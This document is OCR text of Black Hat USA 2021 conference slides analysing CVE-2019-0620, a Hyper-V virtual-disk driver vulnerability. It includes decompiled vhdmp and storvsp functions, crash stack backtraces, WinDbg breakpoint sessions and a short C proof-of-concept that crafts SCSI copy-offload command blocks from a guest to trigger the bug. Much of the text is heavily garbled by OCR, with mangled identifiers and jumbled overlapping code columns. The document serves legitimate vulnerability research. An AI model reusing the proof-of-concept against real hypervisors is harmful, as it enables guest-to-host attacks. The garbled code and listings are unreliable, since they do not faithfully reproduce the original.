nt!IofCalllriver+0=59

vhdmnp | VhdnpiFileWrapperCal 1Driver+0x291

vhdnp ! YhdnpiVdlExzpansionWorkerFout ine+0x350b

nt | ExplWorkerThread+0=f5

nt | PepSy=tenThreadStartup+0xd 7?
ntlKiStartSystenThread+0xl6

large page allocation, tag iz Vkin, =ize i= 0xdlal bytes

VHEBu=s EMCL driver {(incoming packet=s). Binarv vnblmcl . =vs

Dbg.

I'r @rcx:k;r
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3 lkdr g |
rgxaflf_icggf*mcﬂmﬂﬂ . 1|;Add roE=ffffcOAf40c05000 |
1.od=at = Y # Child-SP Retiddr Call Site
N L e TIIIIBM0D £f£££001°284022F0 £f£££800° 7bA32513 storvsp! VstorCompleteSosiRequest+0x2d7
02 FEfFEO0L 2a4cb9e0 fEEEERD 01 ff£££f001°284b2320 f££££808° 7cd3258d storvep ! VetorConpleteSc=iEequest+0x273
07 FEFFE001° ?adcbaln fifffapflse LfLE££001°284h23el £££££808° 7cd43131f vhdparser!|NVhdParserCompleteScsiRequest+0=3d
04 FEEFE001° ?adcba4n fffffmpfls LEE££001°254b2410 f££££808° YbE3lasl whdparser!|HVhdParserkEzecuteScsiRequestDisk+0=z90f
0S5 f£ff£f001 ?adcobl0 fffffopfld4 LE£f££f001°284b2460 £££££8083° 7bEB316fl storwvsp+lxlacsl
06 fffff001° 2adcebi0 fffffonflds f££££001°284b24c0 fi£f££5808° 7adelddb storvsp+0xlefl
07 fffff001° 2ad4chb?70 fifffa0f0e £L£££001° 284b24£0 f££££808° Paect680 vmblmclr ! InpProcessingWorkerBEoutine+0x2fh
08 f£f££f£f001° 2ad4cebbl fE£f££f80Q07 £L£££001° 28402570 f££££801 cadledf? vmbusr!AwWorkerThread+0xb(
03 £f££££001° 2adcbol0 £L£££80008 £f£££001°284b25d0 f££££301 caed3306 nt!PspSystenThreadStartup+0x4?
Oa fE££££001° Z2adchbobl (EE££8009 -y ~t »w">09 ££f££f£f001°284b2620 00000000 00000000 nt!EiStartSystenThread+0x16
0b fffffDDl:Eafli:En:i:El fEEff800sthread=ffffoBAfIcddandn
gg EEEEESS%%aiEEdTB EEEEEEB Fool page ffffcf88f40=05000 region i= Honpaged pool
0 fffffljljl‘zaalcﬁeallj fifipapefffc88£40c05000 ¢ large page allocation, tag is Vkin, size is Oxd4lal bytes
ana fffffDDl‘EzflEEu?E-D FEfE£RO Fooltag Vikin Hyper-¥ VHBu= KEMCIL driver (incoming paclket=). Binarvy vmblkmnzl | =v=
ig Egﬁgggigzigggag SEESS KDTARGET : Fefreshing KD connection
12 ff£f££001° 22427110 f££££80
13 ffff£f001 2ad4c7190 fifffoof**®*® Fatal Sy=tem Error: 0xz0000007e
14 fE£££001° 22427220 £££££80 (0xFFFFFFFFCO00000S, OxFFFFFR087ADEZAQD, OxFFFFFO012834B1FCE, OxFFFFFO01284B1810)
15 ff£f££001° 22427300 f££££80
%g Hﬁgggigaicggsg EEEEEEB Breal instruction exception — code 80000003 {(first chance)
adc

13 Egﬁgggi%aicgiég EHEEES 4 fatal system error has ococurred. _
15 fffffDDl‘E;Ig?EelD FEFEERO Debugger entered on first trv: Bugcheck callbaclks hawe not been invoked.
%E Egﬁﬁﬁggigziggggg EEEEEES A fatal =vstem error has occurred.
Sthread=ffffcB8E3£ed7040 -
Pool page ffffcRef40205000 T+ nt!Dngrn?akPnlntﬂlthStatus: ]
*fffFfoOnf4dN=05000 large paffff££801° casddlcl cc int 3

Pooltag Vlkin : Hyper-Y THEu= FHLL driver Lincoming packets), bBinarvy . wmblkncl. =vs I

#BHUSA @BlackHatEvents



4]

black hat

LUSA 2021

CVE-2019-0620

»The following Stack Backtrace can be trigger in normal procedure.

storvsp ! VestorConpleteSczi1Request+0x2d?

storvsp | VetorConpleteScsi1Request+0xd Y 3
wvhdpar=ser | HNWhdPar=serComnpleteScsiFequest+0x3d
vhdpar=er | NVhdParserEzecuteScsiRequestDisk+0x90f
storvesp+ixlasl

storvsp+0xlefl

vmblkncly | InpProcessinglorkerBFoutine+lxzdth
vnbu=r | AvllorkerThread+0xhi

nt | P=pSy=stenThreadStartup+l=d?
ntlKiStartSystenThread+0=16|

#BHUSA @BlackHatEvents
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»The following Stack Backtrace can be trigger only vhdmp!
VhdmpiPerformExtraScsiActions second parameter offset Ox08's memory

: storvsp | VetorConpleteScsiRequest+0x2dY

IS nOt NUI_I_ storvsp | VetorConpleteScsiRequest+0x2 73
vhdparser | HNVhdIoParserEndIo+0x?c

vhdmnp ! VhdnpiPerfornExtraScsiAct ions+0xad

wvhdmnp ! VhdnpiComnpleteParserRequest+0x6b2

whdmnp ! VhdnpiDecrement IoBEef CountSrbExtension+0=x2 2

whdmnp | VhdnpiSrbPartContinueConplete+0xl11f

wvhdmnp ! VhdnpiVhd25rbRangeConplete+lze8

wvhdmnp ! AeProces=sTodo+0x37

whdmnp | VhdnpiVhd25ubloConplet ionEout ine+0xbd

whdmp | VhdmnpiSrbPart IoConplet ionEout ine+0x137

ntl IopfCompleteRequest+0x11f

nt !l IofCompleteRequest+0x17

vhdmnp ! VhdmpiMainOff loadIoComnplet ion+0x83

nt ! Jopf CompleteRequest+0x11f

nt ! IJofCompleteRequest+0x17
Hti=s|HtisExtendedConpleteRequest Internal +0x137
Htis|Hti=0Offloadlrite+0xid

Htf=s|HtfsU=zerF=sRequest+0xzbiddc
Htfs|HtfsF=dFileSystenControl+0xlib

nt !l IofCallDriver+0x59

FLTHGR |FltplegacyProcessinghAf terPreCal lbacksConpleted+0x157
FLTHGRIFltpF=Control+0x110

nt !l IofCalllriver+0x59

vhdmnp ! VhdnpiFileWrapperCallDriver+0x291

whdnp ! VhdnpiVdlEzpansionWorkerFout ine+0x35b

nt | ExpWorkerThread+0=£5

nt | PepSystenThreadStartup+izd? #BHUSA @BlackHatEvents
ntlKiStartSy=stenThread+0xle




vold  fastcall VhdmpiPerformExtraScsifictions(struct WHD SURFACE *al, struct WHD SCSI EXTRA ACTIONS *a2,  intbd a3)

O {
3 int v3; // esipl
black hat __int64 va; // rdigl
LISA 2021 struct _WHD_SURFACE *v5; // rbx@l
__inted wvé; J/ raxp?
QWORD *v/; [/ rbx@le

CVE_2( /e
char v9; // algl2

__inted v18; // rax@l2

>The fO”OV\II _int64 v11; // ro@l?

. v3 = *(_DWORD *)a2;
VhdmplPe vA = (__int64)a2; Mory
. vh = al;
s not NUL| & (oo a1
6 = *((_QWORD #*)al + 181);
_guard_dispatch_icall fptr(*(( QWORD =)zl + 188), =2, a3);
¥

if (w3 & 2 && *((_QWORD *)v5 + 182) )
_guard_dispatch_icall fptr(*({( QWORD *)v5s + 188), 1lied, a3);
if (v &4)
VhdmpiEnqueueScsiTimer(vs);
if (w2 & 8)
{
while ( *{ QWORD *)(v4 + 8) )
{
v _ QuoRD*>* v4 |
if ((v7 )
*(_QWORD *)(v4 + 8) = *v7;
v8 = (__int64)(v7 + OxFFFFFFC8);
UhdmpiCupySCSiﬁeqUEStRESUltTGSPb(
(struct VHD_SC5I_REQUEST *)(v@ + 384),
*(struct SCSI _REQUEST BLOCK **)(v8 + 24));
VhdmpiCompleteScsiRequest(vd, v9);
18 = *(_QWORD *)(v8 + Bx58);
_guard dispatch _icall fptr(*( QWORD *)(vE& + @x58), *( DWORD *)(vd + 8x38), vll);

w3

} IackHatEvents
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»vhdmp!VhdmpiPerformExtraScsiActions second parameter offset 0x08’s
memory is set by vhdmp!VhdmpiCompleteOffloadRequest

|unsigned __int8 _ fastcall VhdmpiCompleteOffloadRequest(struct VHD SCSI_STATE *al, struct VHD_SCSI_REQUEST *a2,  int64 a3,

{
_i 3 // rox@l
i ] i v7; [/ 15@1
I HD_SCSI_REQUEST *v8; [/ i@l
struct VHD I STATE v9; // rl |
unsigned int8 v10; // bp@l

Lo W

__int64 v11; // ST20 8@6
__int64 v12; // STA0_8@1e
__int64 v13; // ST38_8@1e
int v14; // ST20_4@10
unsigned _ int64 v15; // rl2@11
__int64 vi16; // rl13@11
KIRQL v17; // al@ll
KIRQL v18; // r8@l1
struct VHD SCSI REQUEST *v19; // rax@l3
__int64 v20; // rsi@l
__int64 v21; // rdx@l4
_QWORD *v22; // rcx@l5
_il"lt64 V23, I r :-f|:-
_QWORD *v24; [/ rax@l7

int6A _*y25. /[ rcx@ds

#BHUSA @BlackHatEvents
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Hvhdmpa™ o oo o0 + 120); set 0x08's
memol| ‘0 - LeO e+ 112);

funsigned __int8 _ fas{ j_t( DWORD )( -4 64@)

{ :

__int64 V6; // rbx@ ——”(( Fl ~F IO+ 167);
signed int v7; // e

1]
__l._
m
=
™
]
l‘_
|_l
m
[Fa)

is
==
1
Cl
™
?_
o]
Q
==

[ My}
m
CI
J

=]
P
—
.f"\
;

TN LOCK)vE + 108);

e * (_QHORD )(--': + 80) = 0i64;
J|I? }._Jr;_itl i((_kh'ﬂn ')”F + 16) = aiﬁd;
_inté4 va1; /7 st2d if ( *(_QWORD *)(v6 + @x58) )

__int64 v12; // ST

{
__int6d v13; // ST3 |y
Tt vid; // ¢ -I | struct VHD SCSL REQUEST ** v6 |

unsigned 1#”% cl *(_EHF;E ')(”5 + 9358) = 91i64;
1r1t64 v16 Yra }
;;ﬁ{ }ﬁ,ﬁﬁ ﬂ || v10 = *(-T'J:T UFE_QEQT_;;E|:Q ..)(“; + ?2);
L‘-_r:‘_-]: t ﬁ ‘*_:..:.,;:_ v20 = (__int64)a6;
int6d v20; // rsif  if ( w19 )
_1r11:64 v21 /7 rdx{ {
_QWORD *v22; // rcx| «f AL . . . )
__int64 v23; // rcx *(_OWORD =)(v6 + 72) = 0@i64;
_QWORD *v24; // rax| v3id = v19;
int6d *u25- JJ/ rc v2] = 1(_thqp -)(”; + 32);

if ( *(_QWORD *)(v21 + 8) 1= v6 + 32 || (v22 = *(_QWORD **)(v6 + 48), *v22 I= v
fastfail(3u); #BHUSA @BlackHatEvents
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LABEL 46
x(_ Fl *Y(v20 + 24) |= 8u;
*(_QWORD *)(v20 + 32) = 0i64;
if ( w33 )
Y
. VhdmpiUpdateCompletedScsiRequest(v© 33, v10);
*((_QWORD *)v33 + 8) = *(_QWORD )( 0 o+ 32);
. ] )vhdmp'VhdmplPerformExtraSCS|Act|ons second parameter ‘
{ offset 0x08’s memory is *( QWORD *)(v20 + 0x20)
VhdmpiReceiveRodTokenInformation(v34, (str _VHD_OFFLOAD_OP *)v6);
VhdmpiUpdateCompletedScsiRequest(v9, v3i4, 1u),
*((_QWORD *)v34 + 8) = *(_QWORD )( 0+ 32);
*(_QWORD *)(v20 + 32) = (char *)v34 + 64;
}
if (-
ExFreePoolWithTag((PVOID)v6, @);
return v10; |=

2

set Ox08’s

#BHUSA @BlackHatEvents
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»In vhdmp!VhdmpiCompleteOffloadRequest, where is *(struct
VHD_SCSI_ REQUEST #**)(v6 + 0x58) be set?
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csiLommandLopyUperatlonAbor

CVE-s ¥

6; //
>IN Vhde T
VHD SC‘. vd = byteswap _ulong(*( D *) (*(_QWOR ').—..'- + 2i64));
— Y KeAcquir ebplr ockRaiseT chc(( KSPTI _.:IF) | + 19);

V5 = ( )vhdmplofﬂoadTableScaan(( truct _LIST_ENTRY *)((char *)v2 + 0x1@ * (v4 & Ox1F) + 0x78), y4);

? (! II”(u “)(v5 + 0x58) )
*((_BYTE *)v2 + 37) = 2;
*(_OQWORD *)((char *)v3 + 42) = 0i64;
\ = 4;
*(_QWORD *)((char *)v3 + 50) = @i64; Guest Data
*((_WORD *)v3 + 29) = 0;
*((_BYTE #)v3 + 42) = ”((_F TE *)v2 + 42) & 0xFe | ex7e;
*((LBYTE #)v3 + 44) = *((_BYTE *)v3 + 44) & OxF5 | 5;
*((_BYTE *)u3 + 49) = 10;
*((_WORD *)v3 + 27) = 36;
*((_BYTE *)v3 + 41) = 1;

}

else

{
w7 = 1,

}

KeReleaseSpinLock ((PKSPIN_LOCK)v2 + 10, v6);

return v7/;

I

I—
#BHUSA @BlackHatEvents
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CVE-2019-0620

»vhdmp!VhdmpiOffloadTablelnsertLocked will insert an
"VHD_OFFLOAD_OP object into OffloadTable.

»vhdmp!VhdmpiScsiCommandWriteUsingToken will invoke
vhdmp!VhdmpiOffloadTablelnsertLocked.
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CVE-2019- 0620

=

st

int64 RCX; //

fastcall VhdmpiScsiCommandiritelsi ng

__int64d v3; // rdipl

ruct VHD_SCSI_ACTION *v4; // rl2@l

struct VHD SCSI REQUEST *v5; // rsi@l

ruct VHD_SCSI_STATE *vé6; // rll@l

insigned int8 v7; // bp@e6
)DEVICE L;J;_ ;_, /] rcx@8
signed __int64 v9; // rdx@ll

__int64 vie contorlledbuffer, [/ rbx@lc

insigned intle v11; // a
DEVICE_OBJECT vi12; // ':h;gt
signed inté4 v13; // rdx@23
unsigned intle v14; // ax@3l
unsigned int v15; // er8@4dl
char v16; // al@4t
DEVICE EJJLL' vl7; [/ rcx@48
signed inté4 v18; // rdx@51
unsigned int v19; // erl3@54
signed int v20; // edx@54
__inted4 _R10; // rlo@54

inte4 _R10@; // rle@s4
int64 u;:; // ri13@s4

":E_E'._- inted .._'-]- //

__inted4 _RCX; //

ES N e BN v Y I g

\V

#BHUSA @BlackHatEvents
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C\/E—Z

nar fastcall Vi

=

__int64 v3; // rdi
struct VHD_SCSI_A(

signed _ int64

,,,,,,,

unsig int 9445

o 2
signed int v20; /
__int64 _R10@; // 1
inted _R10; // 1
int64 v23; // rl
signed inted v24

__inted4 _RCX; //

}

54; =
+= 128164

-

(

‘J

while (

AX = *(_QWORD

|
|
|

OWOR
A
|
|

r ! ’ ’ [ r ! ’
CoO0OD0GC

OWORD
) 4= 128164
*(_C

(v

) (v
) (s
) (v

) (v
") (v

) (v

v38 );

__asm { bswap

G

VOID

)(

—]-".' - 16)

)(vie

rax }

AX << *((_DWORD

) (v37
) (v37
) (v37
) (v37

) (v37

16);
32);
48);
0x40);
0x50);
0x60);

SE=R=R=R=R=D
+ + + + + +

contorlledbuffer + 8);

')'_-u';' + 16)),

vad = KeAcquireSpinLockRaiseToDpc((PKSPIN LOCK)v60 + 10);

K

e

R

leaseSpinLock((PKSPIN

I V62 ([ LAl 6 struct VHD OFFLOAD OP * [

LOCK)v60 + 10, v44);

q

#BHUSA @BlackHatEvents
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n | ”Ea;n] = *(_E

P[ex31] = *(_BYT
C 2[0x30] = *( BVT:

black hat

( BYTE

*) (V-

") (v
)

"_.-__.__. 2=

;U;p; int v15;
nd int vi6;

INS1§ v |
<3

ppev] v4 = 16164 * (*((_DWC

ciend V5 = VhdmploffloadTabldscanaln(( tru
si v6 =9;

signd if (V5
ind 1

—. 1 ABEL_8:

rt

3: vll = *(( _DWORD *)v2 + ©xA6);
4 if (vil == ex2eee || (vi2 = *((_DWORD

“Ya2 + @xC) & BxlF)J

IST_ENTRY *)((

2 + 167), v12 ==

- ol

*Jal +

512) )

vd + 0x78), *((_DWORD

“)a2 + xC));

#BHUSA @BlackHatEvents
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int64 fastca
struct VHD_SCS
struct _VHD OF
cha signed int64
{ struct _LIST E
__inY unsigned int v
stru LIST_ENTRY *v
strud LIST _ENTRY **
stru LIST_ENTRY *v
unsig LIST _ENTRY **
PDEVR int v11; // er
signq int v12; // ec
__inq signed intéd
unsid struct _VHD_OF
PDEVY int v15; // ST
signd int v16; // ST
unsig
unsig vZ = al;
char] V3 = @;
ppevl v4 = 16i64 * (
signd Vo = VhdmpiOff
unsid V6 = ©;
signd if ( 1vs )
__in
in
in
sign

if ( (PDEV
&& HIDWO

20 2 o1) = *( BVIE =) (y

VhdmploffloadTableScanBln(( struct

= 0,

if ( !ui )
{
ILABEL_8:
vll = ”(( DWORD *)v2 + OxA6);
if (vl exzeee || (v12 = *((_DWORD *)v2 + 167),

{

if ( (PDEVICE_OBJECT
&& HIDWORD(WPP_GLOBAL Control->Timer) & ©x20
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )

{
/15 = *((_DWORD *)v3 + 12);
v16 = *((_DWORD *)v2 + 167);
WPP_SF_LLL(WPP_GLOBAL_Control->AttachedDevice);

h
v6 = BxCOOOOA9A;

}

else

{

*((_DwoF
”(( DWO
V ( signed
._4 = ¥(struct
if ( *v14 != (struct
fastfa11(3u),
*(_QWORD *)v3 = v13;
*(( glL.b v+ 1

RD *)(v13 + 8) =

D *)v2 + 166)
RD *)v2 + 167) = v12 + 1;

inted)v2 + v4d + @x78;
VHD_OFFLOAD OP ***)(v13 + 8);
VHD OFFLOAD OP *)vi13 )

vil + 1;

= ( L:Jl'.' 0

}

return vb;

v12 == 512) )

~rharn

vd + 0x78), *(( _DuC

*)WPP_GLOBAL_Control != &WPP_GLOBAL_ Control

Insert into OffloadTable

Guest Data

RD *)a2 + @x(C));

#mmckHatEvents
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»Use vhdmp!VhdmpiScsiCommandWriteUsingToken & vhdmp!
VhdmpiScsiCommandCopyOperationAbort pair can trigger the
following Stack Backtrace. [tarerivaiorconplotsoosi Roquest 10273

vhdparszer | HVhdIoParserEndIo+0x7?c

wvhdnp ! VhdmnpiPerfornExtraScsidctions+0=xad

wvhdmnp ! VhdmnpiComnpleteParserFequest+0xeb?2

wvhdmnp ! VhdmpiDecrement IoRef CountSrbExtension+ 0= 2
wvhdnp ! VhdmnpiSrbPartCont inueComplete+0x11f

whdnp ! VhdnpiVhd25rbRangeConplete+0zed

wvhdnp ! AeProcessTodo+0x37

whdnp ! VhdnpiVhd25ubloConplet ionFout ine+0xbd

whdmnp ! VhdnpiSrbPart IoComnpletionRout ine+0x137

nt | IopfConpleteRequest+0x11f

nt | Iof CompleteRequest+0x17

whdnp ! VhdnpiMainQf f loadIoComnpletion+0x83

nt | IopfConpleteRequest+0x11f

nt | Iof CompleteRequest+0x17
Htf=zINtf=ExtendedConpleteRequest Internal+0x187
Htf=!Hti=sOffloadWritet+l=zfd
Htf=INtf=llzerF=Request+0xbiddc
Htf=IHtf=F=dFileSy=tenControl+0xl3ib

nt !l IofCallDriver+0x59
FLTHGEIFltplegacyProcessinghf terPreCal lback=Conpleted+0x157
FLTHGRIFltpFsControl+0x110

nt 1 IofCallDriver+0=59

whdmp ! VhdmpiFileWrapperCal lDriver+0=x291

wvhdnp ! VhdnpiVdlEzpansionVorkerFoutine+0x35b

nt | ExpWorkerThread+0=z£5

nt | PepSy=stenThreadStartup+0=xd? HatEvents
nt |l KiStartSystenThread+0xl6 [
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CVE-2019-0620
>vhdmp'Vhdmp|SCS|CommandCopyOperatlons

char fastcall VhdmpiScsiCommandCopyOperations(struct VHD SCSI STATE *al, int64d a2, struct VHD SCSI ACTION *a3)
i

struct VHD_SCSI_ACTION *v3,; // rllgl

char v4; [/ bl@2

unsigned int8 v5; // r8@3

PDEVICE_OBIJECT v6; // rcx@l3

signed inted v7; // rdx@l6

__int64 v8; // r9@ls6

if ( i;E( BYTE *)al + 27) )

mnmn6
5 = *( )c (LQWORD *)a2 + 1i64) & Bx1F;
i ( *(C )(._ - 32) & 2 && v5 != Ox1C && (*(_DWORD *)(a2 + 28) & @xC@) != Ox80u )

{
if ( (PDEVICE_OBJIECT *)WPP_GLOBAL_Control != &WPP_GLOBAL_Control

&& HIDWORD(WPP_GLOBAL_Control->Timer) & ©x20
&& BYTE1(WPP_GLOBAL_Control-»>Timer) »>= 2u )

{
WPP_SF_DDD(
WPP_GLOBAL_Control->AttachedDevice,
68i64,
&WPP_ce34446c2768335a355a8b767499bB48_Traceguids,
*(_BYTE =)(a2 + 36));
by
return 6;
} v5 is outcode in PoC Code
if (w5 == 8x1e )
#BHUSA @BlackHatEvents

{

= VhdmpiScsiCommandPopulateToken(al, (struct VHD SCSI REQUEST *)a2, v3);
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CVE-2019-

N
(= *)y5 can be controlled by Guest

{
/HD_SCSI_REQUEST

>vhdmp'Vhdmp|\_

char astcall VhdmpiScsiCommandCopyOperatiol ._--'_. = WPP_ GLaBAL Contr\ol
{ f ( (PDEVICE_OBJE )wPP GLOBAL_Control == &WPP_GLOBAL_Control
struct VHD_SCSI_ACTION *v3; // r11@1 | 1(HIDMORD(MPP_GLOBAL_Control >Timer) & 0x20)
e f/i:f“€__ P || BYTEL(WPP_GLOBAL Control->Timer) < 2u )
she S
PDEVICE_OBJECT v6; // 3 { ‘
signed _ int64 v7; // rdx@lt return va;
__int64 v8; // r9@lé h

if ( (unsigned

int8)v4d <= 1u )

return vi;

' = 70i64;
v3 = a3; goto LABEL_32;
if ( !'*((_BYTE *)al + 27) ) }
return 6 if ( v5 == @x1C )
5 = *(_E ')(*( QWORD *)a2 + 1i64) & Bx1

L) {
I (TCDHOR (2 ¢ 32) &2 88 15 1o "’"“'_W scs1_requesTINEEE
: )

if ( (PDEVICE_OBIECT *)WPP_GLOBAL_Control

if ( (unsigned _ int8)v4 <= 1u )

8& HIDHORD(HPP_GLOBAL_Control >Timer) & _return v;
&& BYTE1(WPP_GLOBAL Control->Timer) >= ] vé = WPP_GLOBAL Control;
{ £ ( (PDEVICE_OBIJE )wPP GLOBAL_Control == &WPP_GLOBAL Control
WPP_SF_DDD( | ‘(HIDMORD(MPP_GLOBAL_Control >Timer) & 0x20) |
WPP_GLOBAL_Control->AttachedDevice, || BYTE1(WPP_GLOBAL_Control->Timer) < 2u )
68164, {
&WPP_ce34446c2768335a355a8b767499b048 | return va;
*(_BYTE =)(a2 + 36)); }
E‘etur‘n 6; /= 71i64;
} v5 is outcode in PoC Code| , 8t MBEL32;
if (v5 == 0x10 ) }
{

= VhdmpiScsiCommandPopulateToken(al, (stre

ict VHD SCSI REQUEST *)a2, v3);

#BHUSA @BlackHatEvents
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CVE-2019-0620
»PoC Code

void mess cdb data(u8 * cdb data ,struct vmscsi_request * vm srb)
ud cdboperation code = SCSI Third party Copy OUT;

u8 outcode[2] = {0x11 ,0x1c};

struct third party copy out * cdb = (struct third party copy out *)cdb data;
vin_srb->win8 extension.srb flags = 0x30;

cdb->operation _code = cdboperation code;

cdb->reserved®[@] = outcode[times==220:1];

cdb->reserved@[1] = 0x45;

cdb->reserved@[2] = €

cdb->reservedd[3] = €

cdb->reserved@[4] = €

cdb->reserved@[5] = €

cdb->reserved@[6] = €

cdb->reservedd|7] = €

cdb->reserved@[8] = ¢

cdb->parameter list length = bswap 32(vm_srb->data_transfer length);

cdb->control = 0x0;
#BHUSA @BlackHatEvents
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CVE-2019-0620
»PoC Code

void mess cdb data(u8 * cdb _data ,struct vmscsi request * vm srb)
u8 cdboperation_code = SCSI Third party Copy OUT;

u8 outcode[2] = {0x11 ,0xl1c};

struct third party copy out * cdb = (struct third party copy out *)cdb data;
vin_srb->win8 extension.srb flags = 0x30;

cdb->operation _code = cdboperation code;

cdb->reserved®[0] = outcode[times==220:1];

cdb->reserved@[1] = 0x45;

cdb->reserved@[2] = €

cdb->reservedd[3] = €

cdb->reserved@[4] = €

cdb->reservedd|[5] = ¢

cdb->reserved@[6] = €

cdb->reservedd|7] = €

cdb->reserved@[8] = ¢

cdb->parameter list length = bswap 32(vm_srb->data_transfer length);

cdb->control = 0x0;
#BHUSA @BlackHatEvents
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CVE-2019-0620 debugging & trigger

0: kd> bu vhdmp!VhdmpiOffloadTablelnsertlocked+0=37 ".echo VhdmpiOffloadTablelnsertlocked:r r8d:r rax:.echo :g:"
0: kd: bu vhdmp!VhdmpiSc=siCommandCopyOperationAbort+0x48 " . echo VhdmpiScsiCommandCopyOperationdbort.r rbx;r rax,r rei; 1f(@rax = 0) {} .else{.echo ;g:}"
0: kd> bu vhdmp!VhdmpiOffloadTableInsertLocked+0xl13d " . echo inserttable;r rax:r rdi:.echo :g:"
0: kd» bu vhdmnp!VhdnpiCompleteOf f loadRequest+0x373
0: kd> bu storvsp!VstorCompleteScs=iRequest+0x2d7? "r @rc=:k;r @$thread; !pool @rcx: .echo : g"
0: kd> bd 4
0: kd> bl
0 e Disable Clear {fffff80b dda?cad3 0001 (0001) whdmp!Vhdmpi10ffloadTableln=ertlocked+0x37 " .echo VhdmpiOffloadTablelnsertlocked.r r8d.r rax. .ech)
1 & Disable Clear fffff80b dda?diel 0001 (0001) whdmp!VhdmpiScsiCommandCopyOperationdbort+0=x48 " . echo VhdmpiScsiCommandCopyOperationdbort:r rbx:
2 e Di=sable Clear {fffffs80b dda7cbhd9 0001 (0001) whdmp!Vhdmnpi0OffloadTablelnsertlocked+0xl1l3d " .echo inserttable.r rax.r rdi; .echo :g;"
3 e Disable Clear f{ffff80b dda?c8el 0001 ¢(0001) whdmp!VhdmpiCompleteOffloadRequest+0x373
4 d Enable Clear fffff80b 'ddeD2577 0001 (0001) =s=torvep!VstorCompleteSc=iRequest+0x2d? "r @rcx.k.r @5thread; |pool @rcx; .echo ; g"
0: kd:> g

#BHUSA @BlackHatEvents
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C\lu: kd> g
VhdmnpiSc=iCommandCopyOperationibort
rbx=0000000045464500
rax=0000000000000000
rsi=ffffbl86=2339a5=0

VhdmpiScsiCommandCopyOperationdbort
rbx=0000000045464800
rax=0000000000000000
rsi=ffffbl86dd0005e0

: kd> bu whdmg
. kd> bu vhdngVhdmnpiOf f loadTablelnsertlocked Prax 1= 0) {} .else{.echo :g:}"
© kd> bu vhdnglr8d=45464800

: kd> bu vhdmByrax=0000000000000000
© kd> bu story
: kd> bd 4 inserttable

- kd> bl -
e Dlsahaigf_gEEEE%QE;%EEEEEE blelnsertlocked.r r8d.r rax:.echl

oocoooo o

Di=sab CommandCopyOperationdbort ;r rbx:

Di=sab rax.r rdi; .echo :g:;"

=
: DizabllVhdnpiScsiCommandCopyOperat ionibort
d Enable rbe=0000000045454300 @rcx;: .echo ;. g"
rax=ffffbl8622fc0010
0: kd> g r=i=ffffbl86e3i3l%tel
vhdmnp ! VhdnpiScsiCommandCopyOperationdbort+0=x48:
fffff80bh dda?dlield 339 O eCE,ecx
0: kd>» |!pool ffffb1868339a580|
FPool page fffftbIlS6e3ddT9abel region i=s Nonpaged pool
#*ffffbl86e339a000 : large page allocation, tag is Vkin, size is 0=x4000 bytes
FPooltag Vkin : Hvper-V VMBus KMCL driver (incoming packets), Binarv : vmbkmncl . svs
0: kd> r» @Sthread
Sthread=ffffbl86desf 7040
0: kd> be 4
0: kd: g
Breakpoint 3 hit
vhdmp ! VhdnpiCompleteOf f loadRequest+0x373:
fffff80b dda?cBe3 48894220 now gword ptr [rsi+20h].rcx

A kds r rox

Ircx=ffffb1868339a620 !

= W=D

#BHUSA @BlackHatEvents
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rce=ffffblB86e339%a620
3 kds g
rcx=ffffbl86e339a000
¥ CHRIId-SF Retaddr Call Site
00 ££££8287 febce8fl f£f£££80b dde02513 =storvsp!VstorCompleteScsiRequest+0x2d7?
01 ££££68287 febce920 f££f££80b'dda2l23c storvsp! VstorConpleteScsiRequest+0=x273
02 ££££8287 febce9el fffff80b ddacf940 wvhdpar=ser!HVhdloParzerEndlo+lx7c
03 ff£f£f8287 fe6bceall ffff£f80b ddab5202 vhdmp!VhdmpiPerformExtraScsiictions+0xad
04 ££££8287 febceadl fffff80b ddab4bi?2 vhdmp!VhdmnpiCompleteParserRequest+0xtb2
05 ff£f£8287 febcebll fffff80b ddaS4aff vhdmp!VhdmpiDecrementloRefCountSrbExtension+0x22

06 f£££8287 feboceb3l ffff£f80b dda549b8 vhdmp!VhdmpiSrbPartContinueComplete+0xllf
07 ££££68287 febceb?0 ff£f£f£f80b ddab4867 vhdmp!VhdnpiVhd2S5rbRangeConplete+lzes
08 £ff££8287 febcebbl fffff80b ddaSadbd wvhdmp!AeProcessTodo+0x37 Prax |= 0) {} .else{.echo ;g:}"
09 ££££6287 fobcecl0 ffff£f80b ' ddaSacc? vhdmp!VhdnpiVhd2SubloComnpletionRoutine+0=xbd
Da ££££8287 febocecel f££f££801° 2cddfbecf wvhdmp!VhdmpiSrbPartloCompletionRoutine+0x137
Ob ff£f£f8287 fe6bcecch fff£f£f801 2c4dfa%97 nt!lopfCompleteRequest+0x11f{
Oc ££££8287 fetbcedel fffff80b 'dda?7bl?3 nt!|lIofCompleteRequest+0xl17
0d ff£f£f8287 febceell f£f£££801° 2cd4dfbef vhdmp!VhdmpiMainOffloadloCompletion+0x=83
e ff££8287 febceedl f££f££801 2c4dfa’9? nt!lopfCompleteRequest+0xl11f hleInsertlocked:r r8d:r rax: .echi
10 ££££8287 f6bcef90 ffffi80b dbf14820 Ntis!INti=sExtendedConpleteRequestInternal+0x187 rax:r rdi:.echo :g:"
11 ££££8287 £f6bcf000 f££f£f£f80b dbedl% c Ntis!Hti=s0ffloadWrite+lxfd
12 f£££8287 febcfll0 fffff80b dbelce9b Ntfs!NtfslUserFsRequest+0xh3i8ic @rcx: .echo : g"
13 ££££68287 fobcfl190 f£££f£f801° 2cdddef9 Ntis!NtfsF=dFileSystenControl+0xl3b
14 ££££8287 febcf2cl f££££80b ' dabd7207 nt!IofCallDriver+0=x59

15 ff£f£f8287 f6bcf300 fffff80b da?0aedl FLTHGR!FltplegacyProcessinghfterPreCallbacksComnpleted+0x157
16 f£££8287 febcf370 £££££801° 2c4ddef? FLTHGR!FltpFsControl+0x110
17 ££££8287 febcf3d0 ff£f££80b ddaSbl0l nt!IofCallDriver+0x59
18 f£f£f£f8287 fe6bcfd4l0 fffff80b ddabd51lb vhdmp!VhdmpiFileWrapperCallDriver+0x291
19 ££££6287 febcfd90 f££££801° 2c4f£9e35 vhdmp!VhdnpiVdlEzpansionWorkerRoutine+0=x35b
la f£££8287 febcfbd40 f££££f801° 2c5164£f7 nt |ExpWorkerThread+0=xf5 3
1b ££f££8287 febcfbd0 f££££f801° 2c653906 nt!PspSystenThreadStartup+0=x4? Binary : vmbkmncl.svs
lc ££££8287 febcfe20 000000007 00000000 nt!KiStartSystemThread+0xl6
Sthread=ffffbl86e0adf040
Pool page ffffbl86e339%a000 region is Nonpaged pool
*ffffb1862339a000 : large page allocation, tag is Vkin, size is 0x4000 bytes

